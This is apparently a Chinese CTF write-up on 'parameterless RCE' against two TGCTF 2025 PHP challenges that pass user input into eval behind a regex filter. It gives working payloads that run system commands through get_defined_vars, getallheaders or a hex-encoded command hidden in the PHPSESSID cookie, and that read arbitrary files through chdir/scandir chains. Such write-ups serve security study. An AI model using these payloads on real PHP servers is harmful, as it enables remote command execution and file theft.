无参RCE解题

正常解题

TGCTF–偷渡阴平

考点总结: PHP session_id、绕过waf、无参RCE(非预期)

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

非预期打无参RCE

方法一:

1
?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');
  • get_defined_vars()获取已经定义的所有变量并返回一个数组
  • current()接收前面的函数返回的数组并返回数组第一个元素
  • end()将会移动数组内部指针到最后一个数组元素并返回这个值
  • eval将会执行返回的值,然后引用赋值(就是&符号),将后边命令的结果赋值给b,这个b就是数组的最后一个元素,最终会被eval执行并且输出结果

方法二

1
?tgctf2025=var_dump(scandir(dirname(dirname(dirname(getcwd())))));
  • getcwd():返回当前工作目录的绝对路径
  • dirname():这个函数会返回指定路径的父目录,这里可以利用这个函数进行目录穿越到根目录
  • scandir():这个函数会将指定目录下的所有文件和子目录的名称作为一个数组返回,这里返回的是根目录的所有文件和子目录
  • var_dump():将返回的含有根目录的文件和子目录名的数组打印出来

image-20250415002022637

1
?tgctf2025=highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
  • dirname(dirname(dirname(getcwd()))):穿越到根目录,并返回根目录
  • chdir():这个函数会改变当前的工作目录到指定目录,这里将工作目录改变为根目录,并返回布尔值,如果没有这一步会发现不能读取根目录下的文件,只会报错
  • dirname():因为上面的函数的返回值是布尔类型,但后面的函数接收的类型要是指定的目录,所以这里要加一个这个函数,将返回值改成根目录
  • scandir():这个函数会将指定目录下的所有文件和子目录的名称作为一个数组返回,这里返回的是根目录的所有文件和子目录
  • array_flip() :这个函数用于交换数组中键和值的位置,若 scandir() 返回的数组是 ['.', '..', 'file1.txt', 'file2.php'],经过 array_flip() 处理后,会变成 ['.' => 0, '..' => 1, 'file1.txt' => 2, 'file2.php' => 3]
  • array_rand() :这个函数用于从数组中随机选取一个或多个键,这里就会随机选一个文件
  • highlight_file() :这个函数将随机选取的文件内容高亮显示出来

缺少scandir()函数更改工作目录这一步的结果是无法读取文件

image-20250415005040694

加上这个函数就可以读文件了,因为是随机选取一个文件,所以刷新几次就可以读到了

image-20250415004819352

方法三

1
?tgctf2025=show_source(array_rand(array_flip(scandir(dirname(chdir(strrev(crypt(serialize(array())))))))));
  • array():创建一个空数组
  • serialize():将创建的空数组序列化成字符串,结果是a:0:{}
  • crypt():对序列化后的字符串进行加密,最后得到的结果是随机的,如$1$pc4jiIfD$pqtTfFXRHonNcpqbxqhtK.,这里就是需要随机出最后一个字符是点.
  • strrev():把加密后的字符串进行反转,将点.放到字符串的开头
  • ord() 函数返回字符串第一个字符的 ASCII 值
  • chr() 函数根据 ASCII 值返回对应的字符
  • chdir():这个函数会改变当前的工作目录到指定目录,这里将工作目录改变为根目录,并返回布尔值,如果没有这一步会发现不能读取根目录下的文件,只会报错
  • dirname():因为上面的函数的返回值是布尔类型,但后面的函数接收的类型要是指定的目录,所以这里要加一个这个函数,将返回值改成根目录
  • scandir():这个函数会将指定目录下的所有文件和子目录的名称作为一个数组返回,这里返回的是根目录的所有文件和子目录
  • array_flip() :这个函数用于交换数组中键和值的位置
  • array_rand() :这个函数用于从数组中随机选取一个或多个键,这里就会随机选一个文件
  • show_source():这个函数将随机选取的文件内容高亮显示出来

session_id()

hex2bin()

TGCTF–偷渡阴平(复仇)

**考点总结:**PHP、session_id、绕过waf、RCE

这个把无参RCE给ban了,避免非预期

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php

$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

payload

1
2
3
?tgctf2025=session_start();system(hex2bin(session_id()));
// cookie中构造cat /flag的十六进制字符串
PHPSESSID=636174202f666c6167
  • session_start() :在 PHP中 这个函数的作用是开启一个新会话或者复用已有的会话

  • session_id() :这个函数用于获取当前会话的 ID,即cookie中的PHPSESSID

  • hex2bin():这个函数会将PHPSESSID的 十六进制字符串转化为二进制字符串

  • system():会执行转化后的二进制字符串命令

这题的解题思路就是开启一个新会话,通过在当前会话的 ID 中构造要执行的命令,并转化为二进制字符串,使用system()函数执行命令

image-20250415124542664

读文件

如果知道文件名,可以直接使用readfile读文件,在 PHPSESSION 中写入文件名

1
readfile(session_id(session_start()));

image-20250416162541034

getallheaders()

这个函数可以返回当前请求的所有请求头信息,局限于Apache

apache_request_headers()getallheaders()功能相似,可互相替代,不过也是局限于Apache

1
eval(end(getallheaders()));

这里可以在数据包最后加入一个请求头,写入恶意代码,使用end()函数指向最后一个请求头,从而可以执行命令

image-20250416163003976

get_defined_vars()

相较于getallheaders()更加具有普遍性,这个函数可以回显所有变量

1
a=eval(end(current(get_defined_vars())));&b=system('ls /');
  • get_defined_vars()获取已经定义的所有变量并返回一个数组
  • current()接收前面的函数返回的数组并返回数组第一个元素
  • end()将会移动数组内部指针到最后一个数组元素并返回这个值
  • eval将会执行返回的值,然后引用赋值(就是&符号),将后边命令的结果赋值给b,这个b就是数组的最后一个元素,最终会被eval执行并且输出结果

chdir()&array_rand()赌狗读文件

如果无法进行RCE,可以进行目录遍历读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 获取当前目录
var_dump(getcwd());

# 列出当前工作目录的父目录中的所有文件和目录
var_dump(scandir(dirname(getcwd())));

# 读上一级文件名
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

# 读根目录
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));

无参RCE解题
https://yschen20.github.io/2025/04/29/无参RCE解题/
作者
Suzen
发布于
2025年4月29日
更新于
2025年4月29日
许可协议